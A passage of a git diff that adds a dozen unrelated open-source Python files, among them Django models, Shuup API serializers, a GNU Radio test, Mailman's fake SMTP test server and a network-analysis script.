get_workflow_params(self, workflow): + + workflow_id = None + workflow_name = None + workflow_version = None + child_policy = None + execution_start_to_close_timeout = None + input = None + + if workflow == "Sum": + workflow_id = "sum_%s" % int(random.random() * 10000) + workflow_name = "Sum" + workflow_version = "1" + child_policy = None + execution_start_to_close_timeout = None + input = '{"data": [1,3,7,11]}' + + return (workflow_id, workflow_name, workflow_version, child_policy, + execution_start_to_close_timeout, input) + +if __name__ == "__main__": + + # Add options + parser = OptionParser() + parser.add_option("-e", "--env", default="dev", action="store", type="string", + dest="env", help="set the environment to run, either dev or live") + (options, args) = parser.parse_args() + if options.env: + ENV = options.env + + import settings as settingsLib + settings = settingsLib.get_settings(ENV) + + o = starter_Sum() + + o.start(settings=settings) diff --git a/pool/shard000/Python/0008108_test_write_size_with_cells.py b/pool/shard000/Python/0008108_test_write_size_with_cells.py new file mode 100644 index 0000000000000000000000000000000000000000..6cb74b86283889df349b61121f4ff494c8c9f659 --- /dev/null +++ b/pool/shard000/Python/0008108_test_write_size_with_cells.py @@ -0,0 +1,36 @@ +############################################################################### +# +# Tests for XlsxWriter. +# +# Copyright (c), 2013, John McNamara, jmcnamara@cpan.org +# + +import unittest +from ...compatibility import StringIO +from ...vml import Vml + + +class TestWriteXSizeWithCells(unittest.TestCase): + """ + Test the Vml _write_size_with_cells() method. + + """ + + def setUp(self): + self.fh = StringIO() + self.vml = Vml() + self.vml._set_filehandle(self.fh) + + def test_write_size_with_cells(self): + """Test the _write_size_with_cells() method""" + + self.vml._write_size_with_cells() + + exp = """""" + got = self.fh.getvalue() + + self.assertEqual(got, exp) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard000/Python/0008110_base.py b/pool/shard000/Python/0008110_base.py new file mode 100644 index 0000000000000000000000000000000000000000..256dfdbc7a5297a85ba25a6fa8c108d418bf6194 --- /dev/null +++ b/pool/shard000/Python/0008110_base.py @@ -0,0 +1,53 @@ +import csv +import json +from django.core.management.base import BaseCommand, CommandError +from django.core import serializers + +class StarParseBaseCommand(BaseCommand): + """ Base Command To Parse Star Data Files into fixtures + """ + def reader(self, input_file): + """By default construct a DictReader from the File Object + """ + return csv.DictReader(input_file) + + def parse_row(self, row): + """ Return a Dictionary with the required Fixture Structure + """ + raise + + def validate_jason(self, json_data): + """Validate the JSON data versus the model while it is parsed + """ + try: + list(serializers.deserialize("json", json_data)) + except: + raise + + def handle(self, *args, **options): + if len(args) != 2: + raise CommandError('Usage: %s' % self.args) + try: + with open(args[0], 'r') as star_input: + with open(args[1], 'w') as fixture_output: + comma = False + fixture_output.write('[\n') + for row in self.reader(star_input): + if comma: + fixture_output.write(',\n') + try: + data = self.parse_row(row) + if type(data) is list: + fixture_output.write(',\n'.join(json.dumps(o) for o in data)) + else: + fixture_output.write( + json.dumps(data) + ) + comma = True + except: + raise + raise CommandError('Error Converting Row %s', repr(row)) + fixture_output.write('\n]\n') + except: + raise + raise CommandError("File Not Found?") diff --git a/pool/shard000/Python/0008112_models.py b/pool/shard000/Python/0008112_models.py new file mode 100644 index 0000000000000000000000000000000000000000..c54da1fd8a580297f547a3b82ffa8e0f719baaed --- /dev/null +++ b/pool/shard000/Python/0008112_models.py @@ -0,0 +1,37 @@ +from django.db import models + + +class AuthorCombination(models.Model): + name = models.CharField(default='', max_length=200) + + def __str__(self): + return self.name + + +class Publisher(models.Model): + shown_name = models.CharField(default='', max_length=50) + real_name = models.CharField(default='', max_length=100, blank=True) + + def __str__(self): + return self.shown_name + + +class Book(models.Model): + title = models.CharField(default='', max_length=50) + subtitle = models.CharField(default='', max_length=50, blank=True) + description = models.TextField(default='', blank=True) + authors = models.ForeignKey( + AuthorCombination, related_name='published_books') + publisher = models.ForeignKey( + Publisher, related_name='published_books') + isbn = models.CharField(default='', max_length=13, blank=True) + barcode = models.CharField(default='', max_length=20, blank=True) + has_own_barcode = models.BooleanField(default=False) + + def create_barcode(self): + import lib.log + + self.barcode = log.gen_barcode(self.id) + + def __str__(self): + return self.title diff --git a/pool/shard000/Python/0008114_urls.py b/pool/shard000/Python/0008114_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..8bc726888712a5740f8f3bfdb25678f14860eb5f --- /dev/null +++ b/pool/shard000/Python/0008114_urls.py @@ -0,0 +1,16 @@ +from django.conf.urls.defaults import * + +from shoppy.mailfriend.views import * + +urlpatterns = patterns('', + url( + regex = '^(?P\d+)/$', + view = mail_item_to_friend_form, + name = 'mail_item_to_friend_form', + ), + url( + regex = '^mix/(?P\d+)/$', + view = mail_mixeditem_to_friend_form, + name = 'mail_mixeditem_to_friend_form', + ), +) \ No newline at end of file diff --git a/pool/shard000/Python/0008119_qa_specest_esprit_spectrum_vcf.py b/pool/shard000/Python/0008119_qa_specest_esprit_spectrum_vcf.py new file mode 100644 index 0000000000000000000000000000000000000000..cb3112fe27d93ae166211dfe0e2d42a9718dfa5b --- /dev/null +++ b/pool/shard000/Python/0008119_qa_specest_esprit_spectrum_vcf.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python +# +# Copyright 2011 Communications Engineering Lab, KIT +# +# This is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3, or (at your option) +# any later version. +# +# This software is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this software; see the file COPYING. If not, write to +# the Free Software Foundation, Inc., 51 Franklin Street, +# Boston, MA 02110-1301, USA. + +# + +from gnuradio import gr, gr_unittest +from gnuradio import blocks, analog +import specest_swig as specest +import signal_generator as siggen +import pylab +import numpy + +class qa_esprit_spectrum_vcf (gr_unittest.TestCase): + + def setUp (self): + self.tb = gr.top_block () + + def tearDown (self): + self.tb = None + + def test__001_t (self): + n_sinusoids = 5 + nsamples = 2048 + samp_rate = 32000 + SNR = 20 # in dB + pspectrum_len = 512 + decimals = 4 + self.siggen = siggen.signal_generator(n_sinusoids = n_sinusoids, + SNR = SNR, samp_rate = samp_rate, + nsamples = nsamples) + + self.stream = blocks.stream_to_vector(gr.sizeof_gr_complex, nsamples) + self.esprit = specest.esprit_spectrum_vcf(n=n_sinusoids, m=100, nsamples = nsamples, pspectrum_len = pspectrum_len) + self.sink = blocks.vector_sink_f(vlen=pspectrum_len) + # wire it up ... + self.tb.connect(self.siggen, self.stream, self.esprit, self.sink) + x = pylab.arange(start=-0.5, stop=0.5, step=1.0/float(pspectrum_len)) + self.tb.run() + + # Uncomment to show the plot + #grph = pylab.plot(x, 10*pylab.log10(self.sink.data())) + #pylab.xlim(-0.5, 0.5) + #pylab.show() + + #def test__002_t (self): + #n_sinusoids = 6 + #nsamples = 256 + #samp_rate = 1e6 + #pspectrum_len = 512 + #fcenter = 1.8e9 + + #self.source = blocks.file_source(gr.sizeof_gr_complex, 'foobar2.dat', repeat=False) + #self.stream = blocks.stream_to_vector(gr.sizeof_gr_complex, nsamples) + #self.esprit = specest.esprit_spectrum_vcf(n=n_sinusoids, m=100, nsamples = nsamples, pspectrum_len = pspectrum_len) + #self.sink = blocks.vector_sink_f(vlen=pspectrum_len) + ## wire it up ... + #self.tb.connect(self.source, self.stream, self.esprit, self.sink) + #self.tb.run() + + # Uncomment to show the plot + #x = pylab.arange(start=-0.5, stop=0.5, step=1.0/float(pspectrum_len)) + #x_scaled = x * float(samp_rate) + #grph = pylab.plot(x_scaled, 10*pylab.log10(self.sink.data())) + #pylab.show() + +if __name__ == '__main__': + gr_unittest.main () diff --git a/pool/shard000/Python/0008123_product_variation.py b/pool/shard000/Python/0008123_product_variation.py new file mode 100644 index 0000000000000000000000000000000000000000..8e227eadc11b1606455b403f3b43c4d39f8564b9 --- /dev/null +++ b/pool/shard000/Python/0008123_product_variation.py @@ -0,0 +1,182 @@ +# -*- coding: utf-8 -*- +# This file is part of Shuup. +# +# Copyright (c) 2012-2017, Shoop Commerce Ltd. All rights reserved. +# +# This source code is licensed under the OSL-3.0 license found in the +# LICENSE file in the root directory of this source tree. + +import django_filters +import six +from django.utils.encoding import force_text +from django.utils.translation import ugettext_lazy as _ +from django_filters.rest_framework import DjangoFilterBackend, FilterSet +from parler_rest.fields import TranslatedFieldsField +from parler_rest.serializers import TranslatableModelSerializer +from rest_framework import filters, serializers, viewsets + +from shuup.api.fields import EnumField +from shuup.api.mixins import PermissionHelperMixin +from shuup.core.models import ( + Product, ProductMode, ProductVariationLinkStatus, ProductVariationVariable, + ProductVariationVariableValue +) +from shuup.core.models._product_variation import get_all_available_combinations + + +class ProductSimpleVariationSerializer(serializers.Serializer): + products = serializers.PrimaryKeyRelatedField(queryset=Product.objects.all(), many=True) + + +class ProductLinkVariationVariableSerializer(serializers.Serializer): + product = serializers.PrimaryKeyRelatedField(queryset=Product.objects.all(), required=False) + hash = serializers.CharField(max_length=40, min_length=40, required=True) + status = EnumField(enum=ProductVariationLinkStatus, required=False) + + def validate(self, data): + if self.context["request"].method in ("PUT", "POST") and not data.get("product"): + raise serializers.ValidationError("`product` is required for this method.") + return data + + +class ProductVariationVariableResultSerializer(serializers.ModelSerializer): + + class Meta: + model = Product + fields = "__all__" + + def to_representation(self, product): + combination_result = [] + + if product.mode == ProductMode.VARIABLE_VARIATION_PARENT: + for combination in get_all_available_combinations(product): + combination_result.append({ + "product": combination["result_product_pk"], + "sku_part": combination["sku_part"], + "hash": combination["hash"], + "combination": { + force_text(k): force_text(v) for k, v in six.iteritems(combination["variable_to_value"]) + } + }) + + return {"combinations": combination_result} + + +class ProductVariationVariableValueSerializer(TranslatableModelSerializer): + translations = TranslatedFieldsField(shared_model=ProductVariationVariableValue, required=True) + + class Meta: + exclude = ("identifier",) + model = ProductVariationVariableValue + + +class ProductVariationVariableSerializer(TranslatableModelSerializer): + translations = TranslatedFieldsField(shared_model=ProductVariationVariable, required=True) + values = ProductVariationVariableValueSerializer(many=True, read_only=True) + + class Meta: + model = ProductVariationVariable + exclude = ("identifier",) + + def create(self, validated_data): + variable = super(ProductVariationVariableSerializer, self).create(validated_data) + variable.product.verify_mode() + variable.product.save() + return variable + + def update(self, instance, validated_data): + instance = super(ProductVariationVariableSerializer, self).update(instance, validated_data) + instance.product.verify_mode() + instance.product.save() + return instance + + +class ProductVariationVariableFilter(FilterSet): + product = django_filters.ModelChoiceFilter(name="product", + queryset=Product.objects.all(), + lookup_expr="exact") + + class Meta: + model = ProductVariationVariable + fields = ["product"] + + +class ProductVariationVariableValueFilter(FilterSet): + product = django_filters.ModelChoiceFilter(name="variable__product", + queryset=Product.objects.all(), + lookup_expr="exact") + variable = django_filters.ModelChoiceFilter(name="variable", + queryset=ProductVariationVariable.objects.all(), + lookup_expr="exact") + + class Meta: + model = ProductVariationVariableValue + fields = ["product", "variable"] + + +class ProductVariationVariableViewSet(PermissionHelperMixin, viewsets.ModelViewSet): + """ + retrieve: Fetches a product variation variable by its ID. + + list: Lists all available product variation variables. + + delete: Deletes a product variation variable. + If the object is related to another one and the relationship is protected, an error will be returned. + + create: Creates a new product variation variable. + + update: Fully updates an existing product variation variable. + You must specify all parameters to make it possible to overwrite all attributes. + + partial_update: Updates an existing product variation variable. + You can update only a set of attributes. + """ + + queryset = ProductVariationVariable.objects.all() + serializer_class = ProductVariationVariableSerializer + filter_backends = (filters.OrderingFilter, DjangoFilterBackend) + filter_class = ProductVariationVariableFilter + + def perform_destroy(self, instance): + product = instance.product + super(ProductVariationVariableViewSet, self).perform_destroy(instance) + product.verify_mode() + product.save() + + def get_view_name(self): + return _("Product Variation Variable") + + @classmethod + def get_help_text(cls): + return _("Product variation variables can be listed, fetched, created, updated and deleted.") + + +class ProductVariationVariableValueViewSet(PermissionHelperMixin, viewsets.ModelViewSet): + """ + retrieve: Fetches a product variation variable value by its ID. + + list: Lists all available product variation variable values. + + delete: Deletes a product variation variable value. + If the object is related to another one and the relationship is protected, an error will be returned. + + create: Creates a new product variation variable value. + + update: Fully updates an existing product variation variable value. + You must specify all parameters to make it possible to overwrite all attributes. + + partial_update: Updates an existing product variation variable value. + You can update only a set of attributes. + """ + + queryset = ProductVariationVariableValue.objects.all() + serializer_class = ProductVariationVariableValueSerializer + filter_backends = (filters.OrderingFilter, DjangoFilterBackend) + filter_class = ProductVariationVariableValueFilter + + def get_view_name(self): + return _("Product Variation Variable Value") + + @classmethod + def get_help_text(cls): + return _("Product variation variable values can be listed, fetched, created, updated and deleted.") diff --git a/pool/shard000/Python/0008128_init__.py b/pool/shard000/Python/0008128_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..ae46fc60f6934096a3608c79b355f845efa33ab5 --- /dev/null +++ b/pool/shard000/Python/0008128_init__.py @@ -0,0 +1,68 @@ +# -*- coding: utf-8 - +# +# Copyright (c) 2008, 2009 Benoit Chesneau +# +# Permission to use, copy, modify, and distribute this software for any +# purpose with or without fee is hereby granted, provided that the above +# copyright notice and this permission notice appear in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. +# + +from restclient.transport.base import HTTPResponse, HTTPTransportBase, USER_AGENT +from restclient.transport._httplib2 import HTTPLib2Transport, httplib2 +from restclient.transport._curl import CurlTransport, pycurl + +__all__ = [ + 'HTTPResponse', + 'HTTPTransportBase', + 'USER_AGENT', + 'HTTPLib2Transport', + 'CurlTransport', + 'createHTTPTransport', + 'setDefaultHTTPTransport', + 'useCurl'] + +_default_http = None + + +def createHTTPTransport(): + """Create default HTTP client instance + prefers Curl to urllib""" + if pycurl is not None: + http = CurlTransport() + elif httplib2 is not None: + http = HTTPLib2Transport() + else: + raise RuntimeError("httplib2 or curl are missing") + return http + +def getDefaultHTTPTransport(): + """ Return the default http transport instance instance + if no client has been set, it will create a default client. + + :return: the default client + """ + global _default_http + if _default_http is None: + setDefaultHTTPTransport(createHTTPTransport()) + return _default_http + +def setDefaultHTTPTransport(httptransport): + """ set default http transport + :param http: RestClient + """ + global _default_http + _default_http = httptransport + +def useCurl(): + global _default_http + if _default_http is None: + setDefaultHTTPTransport(createHTTPTransport()) + return isinstance(_default_http, CurlTransport) diff --git a/pool/shard000/Python/0008130_billing_setup_status.py b/pool/shard000/Python/0008130_billing_setup_status.py new file mode 100644 index 0000000000000000000000000000000000000000..a256738317ee8a58260ad91c1755845ade49852d --- /dev/null +++ b/pool/shard000/Python/0008130_billing_setup_status.py @@ -0,0 +1,40 @@ +# -*- coding: utf-8 -*- +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import proto # type: ignore + + +__protobuf__ = proto.module( + package="google.ads.googleads.v10.enums", + marshal="google.ads.googleads.v10", + manifest={"BillingSetupStatusEnum",}, +) + + +class BillingSetupStatusEnum(proto.Message): + r"""Message describing BillingSetup statuses. + """ + + class BillingSetupStatus(proto.Enum): + r"""The possible statuses of a BillingSetup.""" + UNSPECIFIED = 0 + UNKNOWN = 1 + PENDING = 2 + APPROVED_HELD = 3 + APPROVED = 4 + CANCELLED = 5 + + +__all__ = tuple(sorted(__protobuf__.manifest)) diff --git a/pool/shard000/Python/0008134_views2.py b/pool/shard000/Python/0008134_views2.py new file mode 100644 index 0000000000000000000000000000000000000000..8b87b77569e567c8ebe7f14103e6f939f8114ff7 --- /dev/null +++ b/pool/shard000/Python/0008134_views2.py @@ -0,0 +1,60 @@ +from rest_framework.generics import (GenericAPIView) + +from rest_framework import status +import signal +import asyncio +from moto.moe.utils.crawer import get_crawer +from rest_framework.response import Response +import json +from six.moves.urllib.parse import urlparse,urljoin,urlencode +from moto.moe import models +from moto.moe.api.serializers import PostSerializer + + + +class Catch_url(GenericAPIView): + def post(self, request, *args, **kwargs): + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + url = request.POST.get('url') + c = get_crawer(url)(url,loop) + if c.need_login: + c.login() + asyncio.Task(c.run()) + + try: + loop.add_signal_handler(signal.SIGINT, loop.stop) + except RuntimeError: + pass + loop.run_forever() + print('todo:', len(c.todo)) + print('busy:', len(c.busy)) + print('done:', len(c.done), '; ok:', sum(c.done.values())) + print('tasks:', len(c.tasks)) + return Response({'urls':c.get_results()},status=status.HTTP_200_OK) + +class Download(GenericAPIView): + model = models.Post + queryset = models.Post.objects.all() + serializer_class = PostSerializer + def post(self, request, *args, **kwargs): + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + url = request.POST.get('url') + images = json.loads(request.POST.get('images')) + c = get_crawer(url)(url,loop) + if c.need_login: + c.login() + asyncio.Task(c.download(request.user,images)) + + loop.run_forever() + print('todo:', len(c.todo)) + print('busy:', len(c.busy)) + print('done:', len(c.done), '; ok:', sum(c.done.values())) + print('tasks:', len(c.tasks)) + # data={'author':UserSerializer(request.user).data, 'image':image_post.generated_filename} + datas = c.get_results() + serializer = self.get_serializer(data=datas,many=True) + serializer.is_valid(raise_exception=True) + serializer.save() + return Response(serializer.data,status=status.HTTP_200_OK) \ No newline at end of file diff --git a/pool/shard000/Python/0008135_mta.py b/pool/shard000/Python/0008135_mta.py new file mode 100644 index 0000000000000000000000000000000000000000..7481e0093005bfae096a188913be863e3ddea0b4 --- /dev/null +++ b/pool/shard000/Python/0008135_mta.py @@ -0,0 +1,230 @@ +# Copyright (C) 2009-2014 by the Free Software Foundation, Inc. +# +# This file is part of GNU Mailman. +# +# GNU Mailman is free software: you can redistribute it and/or modify it under +# the terms of the GNU General Public License as published by the Free +# Software Foundation, either version 3 of the License, or (at your option) +# any later version. +# +# GNU Mailman is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or +# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for +# more details. +# +# You should have received a copy of the GNU General Public License along with +# GNU Mailman. If not, see . + +"""Fake MTA for testing purposes.""" + +from __future__ import absolute_import, print_function, unicode_literals + +__metaclass__ = type +__all__ = [ + 'FakeMTA', + ] + + +import logging + +from Queue import Empty, Queue + +from lazr.smtptest.controller import QueueController +from lazr.smtptest.server import Channel, QueueServer +from zope.interface import implementer + +from mailman.interfaces.mta import IMailTransportAgentLifecycle + + +log = logging.getLogger('lazr.smtptest') + + + +@implementer(IMailTransportAgentLifecycle) +class FakeMTA: + """Fake MTA for testing purposes.""" + + def create(self, mlist): + pass + + def delete(self, mlist): + pass + + def regenerate(self, output=None): + pass + + + +class StatisticsChannel(Channel): + """A channel that can answers to the fake STAT command.""" + + def smtp_EHLO(self, arg): + if not arg: + self.push(b'501 Syntax: HELO hostname') + return + if self._SMTPChannel__greeting: + self.push(b'503 Duplicate HELO/EHLO') + else: + self._SMTPChannel__greeting = arg + self.push(b'250-%s' % self._SMTPChannel__fqdn) + self.push(b'250 AUTH PLAIN') + + def smtp_STAT(self, arg): + """Cause the server to send statistics to its controller.""" + self._server.send_statistics() + self.push(b'250 Ok') + + def smtp_AUTH(self, arg): + """Record that the AUTH occurred.""" + if arg == 'PLAIN AHRlc3R1c2VyAHRlc3RwYXNz': + # testuser:testpass + self.push(b'235 Ok') + self._server.send_auth(arg) + else: + self.push(b'571 Bad authentication') + + def smtp_RCPT(self, arg): + """For testing, sometimes cause a non-25x response.""" + code = self._server.next_error('rcpt') + if code is None: + # Everything's cool. + Channel.smtp_RCPT(self, arg) + else: + # The test suite wants this to fail. The message corresponds to + # the exception we expect smtplib.SMTP to raise. + self.push(b'%d Error: SMTPRecipientsRefused' % code) + + def smtp_MAIL(self, arg): + """For testing, sometimes cause a non-25x response.""" + code = self._server.next_error('mail') + if code is None: + # Everything's cool. + Channel.smtp_MAIL(self, arg) + else: + # The test suite wants this to fail. The message corresponds to + # the exception we expect smtplib.SMTP to raise. + self.push(b'%d Error: SMTPResponseException' % code) + + + +class ConnectionCountingServer(QueueServer): + """Count the number of SMTP connections opened.""" + + def __init__(self, host, port, queue, oob_queue, err_queue): + """See `lazr.smtptest.server.QueueServer`. + + :param oob_queue: A queue for communicating information back to the + controller, e.g. statistics. + :type oob_queue: `Queue.Queue` + :param err_queue: A queue for allowing the controller to request SMTP + errors from the server. + :type err_queue: `Queue.Queue` + """ + QueueServer.__init__(self, host, port, queue) + self._connection_count = 0 + self.last_auth = None + # The out-of-band queue is where the server sends statistics to the + # controller upon request. + self._oob_queue = oob_queue + self._err_queue = err_queue + self._last_error = None + + def next_error(self, command): + """Return the next error for the SMTP command, if there is one. + + :param command: The SMTP command for which an error might be + expected. If the next error matches the given command, the + expected error code is returned. + :type command: string, lower-cased + :return: An SMTP error code + :rtype: integer + """ + # If the last error we pulled from the queue didn't match, then we're + # caching it, and it might match this expected error. If there is no + # last error in the cache, get one from the queue now. + if self._last_error is None: + try: + self._last_error = self._err_queue.get_nowait() + except Empty: + # No error is expected + return None + if self._last_error[0] == command: + code = self._last_error[1] + self._last_error = None + return code + return None + + def handle_accept(self): + """See `lazr.smtp.server.Server`.""" + connection, address = self.accept() + self._connection_count += 1 + log.info('[ConnectionCountingServer] accepted: %s', address) + StatisticsChannel(self, connection, address) + + def reset(self): + """See `lazr.smtp.server.Server`.""" + QueueServer.reset(self) + self._connection_count = 0 + + def send_statistics(self): + """Send the current connection statistics to the controller.""" + # Do not count the connection caused by the STAT connect. + self._connection_count -= 1 + self._oob_queue.put(self._connection_count) + + def send_auth(self, arg): + """Echo back the authentication data.""" + self._oob_queue.put(arg) + + + +class ConnectionCountingController(QueueController): + """Count the number of SMTP connections opened.""" + + def __init__(self, host, port): + """See `lazr.smtptest.controller.QueueController`.""" + self.oob_queue = Queue() + self.err_queue = Queue() + QueueController.__init__(self, host, port) + + def _make_server(self, host, port): + """See `lazr.smtptest.controller.QueueController`.""" + self.server = ConnectionCountingServer( + host, port, self.queue, self.oob_queue, self.err_queue) + + def start(self): + """See `lazr.smtptest.controller.QueueController`.""" + QueueController.start(self) + # Reset the connection statistics, since the base class's start() + # method causes a connection to occur. + self.reset() + + def get_connection_count(self): + """Retrieve the number of connections. + + :return: The number of connections to the server that have been made. + :rtype: integer + """ + smtpd = self._connect() + smtpd.docmd(b'STAT') + # An Empty exception will occur if the data isn't available in 10 + # seconds. Let that propagate. + return self.oob_queue.get(block=True, timeout=10) + + def get_authentication_credentials(self): + """Retrieve the last authentication credentials.""" + return self.oob_queue.get(block=True, timeout=10) + + @property + def messages(self): + """Return all the messages received by the SMTP server.""" + for message in self: + yield message + + def clear(self): + """Clear all the messages from the queue.""" + list(self) + + def reset(self): + smtpd = self._connect() + smtpd.docmd(b'RSET') diff --git a/pool/shard000/Python/0008137_expression.py b/pool/shard000/Python/0008137_expression.py new file mode 100644 index 0000000000000000000000000000000000000000..738e451bd6e32c00b19dda0c20fe95dba1ea3f26 --- /dev/null +++ b/pool/shard000/Python/0008137_expression.py @@ -0,0 +1,52 @@ +from builtins import object +import logging +from pyparsing import ParseResults +from brabbel.parser import Parser +from brabbel.functions import functions + +logging.basicConfig() +log = logging.getLogger(__name__) + +from threading import Lock + +class Expression(object): + + lock = Lock() + cache = {} + + """Docstring for Expression. """ + def __init__(self, expression): + """Initialise a Expression object + + :expression: String representation of an Expression + + """ + with Expression.lock: + try: + tree = Expression.cache[expression] + except KeyError: + tree = Parser().parse(expression)[0] + Expression.cache[expression] = tree + + self._expression = expression + self._expression_tree = tree + + def evaluate(self, values=None): + """Returns the result auf the evaluation of the expression. + + :values: Dictionary with key value pairs containing values which + can be used while evaluation + :returns: Result of the evaluation + + """ + if values is None: + values = {} + return self._evaluate(self._expression_tree, values) + + def _evaluate(self, tree, values): + try: + return tree.evaluate(values) + except: + log.exception("Can not evaluate expression '%s'" + % self._expression) + raise diff --git a/pool/shard000/Python/0008144_NETANALYSIS.py b/pool/shard000/Python/0008144_NETANALYSIS.py new file mode 100644 index 0000000000000000000000000000000000000000..d763d490801b644f14607b7265915a490a3196b0 --- /dev/null +++ b/pool/shard000/Python/0008144_NETANALYSIS.py @@ -0,0 +1,135 @@ +import numpy as np +from scipy.stats import pearsonr +import pickle as pkl +import distance_functions_2 as df ### him(G,H) with output (hamming, ipsen, him)! + +class NETANALYSIS: + def __init__(self, dataname, labelsname, samplesname, featuresname, setCol, outputpath): ### X.txt, Y.txt, sampleIDs.txt, names.txt, np.array([]), outlstadjmtr.pkl + self.dataname = dataname + self.labelsname = labelsname + self.samplesname = samplesname + self.featuresname = featuresname + self.setCol = setCol + self.outputpath = outputpath + +######## + + def run(self): + self.loadfiles() + self.findsubmatrixes() + self.mkadjmatrixes() + self.mkoutput() + +######## + + def loadfiles(self): + self.mdata = np.loadtxt(self.dataname) + self.setlabels = np.loadtxt(self.labelsname) + + + self.setsamples = open(self.samplesname) + self.setsamples = self.setsamples.read() + self.setsamples = self.setsamples.split('\n') #now, setsamples is a list of (the right) strings + self.setsamples.pop(-1) #fixes an error due to the split function + + self.setfeatures = open(self.featuresname) + self.setfeatures = self.setfeatures.read() + self.setfeatures = self.setfeatures.split('\n') + self.setfeatures.pop(-1) + + q = len(self.setfeatures) + for i in range(q): + j = self.setfeatures[i] + s = j.index('\t') + self.setfeatures[i] = self.setfeatures[i][s+1:] + + lsmpl, lsftr = self.mdata.shape + if len(self.setsamples) != len(self.setlabels) or lsmpl != len(self.setlabels) or lsftr != len(self.setfeatures): + print 'error, invalid input: data not coherent' + +######## + + def findsubmatrixes(self): + + self.aunilabels = np.unique(self.setlabels) ### array of different labels which are in setlabels + + self.alabels = [] # list of 2d-matrixes (i.e. one sub-matrix for each label) + + ok = 0 # for the condition of the while loop + while ok < len(self.aunilabels): + r2 = 0 + maux = np.zeros((len(np.where(self.setlabels == self.aunilabels[ok])[0]), len(self.setCol))) + for r in np.where(self.setlabels == np.array(list(set(self.setlabels)))[ok])[0]: #this is a very strange 2d-array with the positions of the ok-th different element of setlabels in setlabels itself + #print aunilabels + c2 = 0 + for c in self.setCol: + maux[r2, c2] = self.mdata[r, c] + c2 += 1 + r2 += 1 + self.alabels.append(maux) + ok += 1 + ### alabels is now the complete list of the sub-matrices of each label! + +######## + + def mkadjmatrixes(self): + self.adjmatrixes = [] + for i in range(len(self.aunilabels)): # sgrulla down le labels + self.adjmatrixes.append(self.mknetfeatures(self.alabels[i],0.1)) #FIXME uses features, not samples! 0.1 is the threshold: check it! + self.adjmatrixes = np.array(self.adjmatrixes) + ### now, the list adjmatrixes is filled in with the adjacency matrices of each different label + self.himadjmatrix = np.zeros((len(self.aunilabels), len(self.aunilabels))) + + for i in range(1, len(self.aunilabels)): #loop on label indexes + + for j in range(i): #loop on previous labels + hamming, ipsen, self.himadjmatrix[i, j] = df.him(self.adjmatrixes[i], self.adjmatrixes[j]) #calculates the him distance between two networks + self.himadjmatrix[j, i] = self.himadjmatrix[i, j] #makes symmetric the 'adjacency' matrix + + return (self.himadjmatrix) #, aunilabels) + +######## + + def mknetfeatures(self,M,thre): #M is our dear big matrix + #attempt: to make it work on all columns, instead than on a given set + nRow, nCol = M.shape #define dimensions + + ### let's create the network matrix + self.mNet = np.zeros((nCol, nCol)) + + # check of missing elements in the matrix + if nRow == 0 or nCol == 0: + print 'null input' + return None + + for i in np.arange(nCol): #loop on feature indexes + + for k in np.arange(nCol): #loop on feature indexes, again + + if i < k: #not repeated nodes of features + L1 = [M[j,i] for j in range(nRow)] + L2 = [M[j,k] for j in range(nRow)] + + if np.var(L1)==0 and np.var(L2)==0: + pear=[1.0,123] + elif np.var(L1)==0 or np.var(L2)==0: + pear=[0.,123] + else: + pear = pearsonr(L1,L2) #output as array + + if pear > thre: + self.mNet[i,k] = abs(pear[0]) + self.mNet[k,i] = abs(pear[0]) + ### mNet is now our network matrix + + return self.mNet + +######## + + def mkoutput(self): # saves the list of him adjacency matrices in the outputpath + # WARNING: it has to be a .pkl file!!! + outfile = open(self.outputpath, 'w+b') + pkl.dump(self.himadjmatrixes, outfile) + outfile.close() + +######## diff --git a/pool/shard000/Python/0008145_test_ami.py b/pool/shard000/Python/0008145_test_ami.py new file mode 100644 index 0000000000000000000000000000000000000000..1db1377626ac0b319b6381f991412d3dbb005ea0 --- /dev/null +++ b/pool/shard000/Python/0008145_test_ami.py @@ -0,0 +1,52 @@ +# Copyright 2016 Capital One Services, LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from common import BaseTest + + +class TestAMI(BaseTest): + + def test_query(self): + factory = self.replay_flight_data('test_ami') + p = self.load_policy({ + 'name': 'test-ami', + 'resource': 'ami', + 'filters': [ + {'Name': 'LambdaCompiler'}, + {'type': 'image-age', 'days': 0.2}], + 'actions': ['deregister'] + }, session_factory=factory) + resources = p.run() 